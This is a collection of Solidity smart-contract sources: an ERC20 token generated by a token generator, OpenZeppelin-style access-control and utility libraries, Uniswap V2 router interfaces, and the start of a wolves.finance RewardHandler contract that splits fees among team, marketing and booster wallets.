* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
|
True
|
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102
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// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import '../utils/EnumerableSet.sol';
import '../utils/Address.sol';
import '../utils/Context.sol';
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index)
public
view
returns (address)
{
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(
hasRole(_roles[role].adminRole, _msgSender()),
'AccessControl: sender must be an admin to grant'
);
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(
hasRole(_roles[role].adminRole, _msgSender()),
'AccessControl: sender must be an admin to revoke'
);
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(
account == _msgSender(),
'AccessControl: can only renounce roles for self'
);
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT AND Apache-2.0
pragma solidity 0.7.6;
/**
* Utility library of inline functions on addresses
*/
library Address {
// Default hash for EOA accounts returned by extcodehash
bytes32 internal constant ACCOUNT_HASH =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract.
* @param _address address of the account to check
* @return Whether the target address is a contract
*/
function isContract(address _address) internal view returns (bool) {
bytes32 codehash;
// Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address or if it has a non-zero code hash or account hash
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(_address)
}
return (codehash != 0x0 && codehash != ACCOUNT_HASH);
}
/**
* @dev Performs a Solidity function call using a low level `call`.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), 'Address: No contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), 'Address: No contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, 'EnumerableSet: index out of bounds');
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT AND Apache-2.0
pragma solidity 0.7.6;
import '../interfaces/IERC20.sol';
import '../utils/SafeMath.sol';
import '../utils/Address.sol';
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance'
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
'SafeERC20: low-level call failed'
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
'SafeERC20: ERC20 operation did not succeed'
);
}
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath#mul: OVERFLOW');
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, 'SafeMath#div: DIVISION_BY_ZERO');
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath#sub: UNDERFLOW');
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath#add: OVERFLOW');
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, 'SafeMath#mod: DIVISION_BY_ZERO');
return a % b;
}
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* This file is derived from Uniswap, available under the GNU General Public
* License 3.0. https://uniswap.org/
*
* SPDX-License-Identifier: Apache-2.0 AND GPL-3.0-or-later
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
// solhint-disable-next-line func-name-mixedcase
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* This file is derived from Uniswap, available under the GNU General Public
* License 3.0. https://uniswap.org/
*
* SPDX-License-Identifier: Apache-2.0 AND GPL-3.0-or-later
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
import '../../0xerc1155/access/AccessControl.sol';
import '../../0xerc1155/utils/SafeMath.sol';
import '../../0xerc1155/utils/SafeERC20.sol';
import '../../0xerc1155/utils/Context.sol';
import '../../interfaces/uniswap/IUniswapV2Router02.sol';
import '../investment/interfaces/IRewardHandler.sol';
import '../polygon/interfaces/IChildTunnel.sol';
import '../token/interfaces/IERC20WowsMintable.sol';
import '../utils/AddressBook.sol';
import '../utils/interfaces/IAddressRegistry.sol';
contract RewardHandler is Context, AccessControl, IRewardHandler {
using SafeMath for uint256;
using SafeERC20 for IERC20WowsMintable;
//////////////////////////////////////////////////////////////////////////////
// Roles
//////////////////////////////////////////////////////////////////////////////
// Role granted to distribute funds
bytes32 public constant REWARD_ROLE = 'reward_role';
//////////////////////////////////////////////////////////////////////////////
// Constants
//////////////////////////////////////////////////////////////////////////////
// The fee is distributed to 4 channels:
// 0.15 team
uint32 private constant FEE_TO_TEAM = 15 * 1e4;
// 0.15 marketing
uint32 private constant FEE_TO_MARKETING = 15 * 1e4;
// 0.4 booster
uint32 private constant FEE_TO_BOOSTER = 4 * 1e5;
// 0.3 back to reward pool (remaining fee remains in contract)
// uint32 private constant FEE_TO_REWARDPOOL = 3 * 1e5;
// Duration of one hour, in seconds
uint32 private constant ONE_HOUR = 3600;
//////////////////////////////////////////////////////////////////////////////
// State
//////////////////////////////////////////////////////////////////////////////
// Minimal mint amount
uint256 private _minimalMintAmount = 100 * 1e18;
// Admin account
address private immutable _adminAccount;
// Team Wallet
address private immutable _teamWallet;
// Team Wallet
address private immutable _marketingWallet;
// The WOWS reward token
IERC20WowsMintable private immutable _rewardToken;
// Booster
address private immutable _booster;
// Uniswap
IUniswapV2Router02 private immutable _uniV2Router;
// Amount to distribute
uint256 private _distributeAmount = 0;
// IChildTunnel for internal distribution
IChildTunnel public childTunnel = IChildTunnel(address(0));
//////////////////////////////////////////////////////////////////////////////
// Events
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Fired on construction
*/
event Constructed(
address adminAccount,
address marketingWallet,
address teamWallet,
address rewardToken,
address booster,
address uniV2Router
);
/**
* @dev Fired if we receive Ether
*/
event Received(address, uint256);
/**
* @dev Fired on distribute (rewards -> recipient)
*/
event RewardsDistributed(address indexed, uint256 amount, uint32 fee);
/**
* @dev Fired on distributeAll (collected fees -> internal)
*/
event FeesDistributed(uint256 amount);
//////////////////////////////////////////////////////////////////////////////
// Modifier
//////////////////////////////////////////////////////////////////////////////
modifier onlyAdmin() {
// Validate admin access
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'Only admin');
_;
}
//////////////////////////////////////////////////////////////////////////////
// Initialization
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Constructor
*
* @param addressRegistry The registry for addresses in the system
*/
constructor(IAddressRegistry addressRegistry) {
